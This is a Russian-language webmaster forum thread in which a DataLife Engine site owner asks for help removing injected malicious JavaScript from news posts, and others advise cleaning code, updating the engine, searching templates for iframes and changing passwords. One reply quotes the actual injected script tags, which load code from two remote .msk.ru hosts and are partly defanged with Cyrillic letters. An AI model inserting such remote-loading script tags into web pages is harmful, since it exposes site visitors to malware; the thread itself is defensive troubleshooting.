Вирус на сайте, двиг дле, нужен хэлп!

crackwarez
На сайте с 13.05.2010
Offline
55
628

Вирус у меня на сайте и вот не знаю как его убрать. Было пару идей, но они не дали результата, гугл вот тут что то говорит

http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=ru&site=http://ws-soft.ws/

там указаны какие то урлы сайтов, вот я не которые понаходил в новостях, дописывает какую то лажу в новости, js код, понаходил их в новостях и по удалял часть, а у части новостей тупо заменил урл на не существующий. а что дальше сделать не знаю, не могу понять откуда корни растут. Вот и пишу вам, может кто то уже сталкивался с этим.

* VPS на SSD-дисках от 4.99$ в месяц! (http://tinyurl.com/vps-ssd) * Все скидки, купоны, акции и распродажи в магазинах... (http://today-buy.ru/)
unixadm
На сайте с 24.09.2010
Offline
110
#1

Сначала надо вычистить вредоносный код, потом быстро обновить движок. Проломали через дырку в нем, скорее всего.

Host4Biz: NVMe Хостинг в Европе ( https://host4.biz/ru/hosting/shared-hosting ) | Windows/Linux NVMe VPS в Европе ( https://host4.biz/ru/vps ) | Выделенные серверы в Европе, США и Азии ( https://host4.biz/ru/servers/dedicated )
A
На сайте с 21.08.2007
Offline
31
#2

смотришь через пма, что на самом деле находится в тексте новости. если код там - вычищаешь, если нет, тогда текст меняется движком на лету, т.е. проблема в нем

обновляться на самую свежую версию и ставить обновления безопасности

Магазин аккаунтов с балансом Litres,DNS,Ozon,Rotapost и еще 50+ других сервисов тут - vk.cc/7QK0Sk
crackwarez
На сайте с 13.05.2010
Offline
55
#3

дело в том. что я не вычистил код, тупо через поиск и замену заменил урл на не существующий)

Движок обновлять, вот это тяжко блин, там несколько сайтов со связанными базами данных, таблица пользователей одна на все сайты, думаю надо тогда все сразу обновлять)

unixadm
На сайте с 24.09.2010
Offline
110
#4
crackwarez:
дело в том. что я не вычистил код, тупо через поиск и замену заменил урл на не существующий)
Движок обновлять, вот это тяжко блин, там несколько сайтов со связанными базами данных, таблица пользователей одна на все сайты, думаю надо тогда все сразу обновлять)

Дело в том, что обычно ломают именно через дыры в движке. Потому если сейчас все почистить и не обновиться, то высока вероятность того, что подобная дрянь появится и потом.

A
На сайте с 23.09.2010
Offline
11
#5

Проверь файлы Dbconfig.php последнее время там. Либо файлы .Tpl

Ищи по слову Iframe

crackwarez
На сайте с 13.05.2010
Offline
55
#6
Animkas:
Проверь файлы Dbconfig.php последнее время там. Либо файлы .Tpl
Ищи по слову Iframe

проверялось!

Jeka66
На сайте с 21.04.2009
Offline
62
#7

После чистки не забудьте сменить пароли для доступа на сайт, не помешает, а возможно и поможет ))

Недорогие виллы в Таиланде (http://evp.su)
Spartaco
На сайте с 13.09.2006
Offline
126
#8

стучи в аську 450-47-четыре-семь - такая же фигня была недавно

<script src="httр://tvoyatajnа.msk.ru/injs.d87d9fbf3949bfe95c5d890260511b06/" type="text/javascript"></script><script src="httр://yourpiс.msk.ru/in.fb43ee4b16a653d24734bba9149d0dc9fuckf20794d65eb7cb85729eb128ae86f4b2/" type="text/javascript"></script>

ЗЫ - буквы в коде поменяны на русские

А вообще то надо написать msk.ru - пусть они разбираются, что у них там за вирусня процветает

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий